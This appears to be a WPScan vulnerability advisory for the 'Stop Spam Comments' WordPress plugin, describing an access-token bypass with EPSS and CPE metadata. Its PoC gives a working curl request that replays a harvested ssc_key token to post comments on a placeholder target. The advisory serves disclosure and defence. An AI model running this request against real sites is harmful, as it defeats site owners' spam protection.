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wpvulndbDaniel RufWPVDB-ID:30820BE1-E96A-4FF6-B1EC-EFDA14069E70
HistoryAug 08, 2022 - 12:00 a.m.

Stop Spam Comments <= 0.2.1.2 - Access Token Bypass

2022-08-0800:00:00
Daniel Ruf
wpscan.com
5

0.001 Low

EPSS

Percentile

40.3%

The plugin does not properly generate the Javascript access token for preventing abuse of comment section, allowing threat authors to easily collect the value and add it to the request.

PoC

Collect the name and value of ssc_key for the target post and use it on the request. curl ‘http://target.tld/wp-comments-post.php’ -X POST --data-raw ‘ssc_key_NAME=VALUE&comment;=test&author;=test&email;=test%40test.tld&url;=&submit;=Post+Comment&comment;_post_ID=1&comment;_parent=0’

CPENameOperatorVersion
stop-spam-commentseq*

0.001 Low

EPSS

Percentile

40.3%

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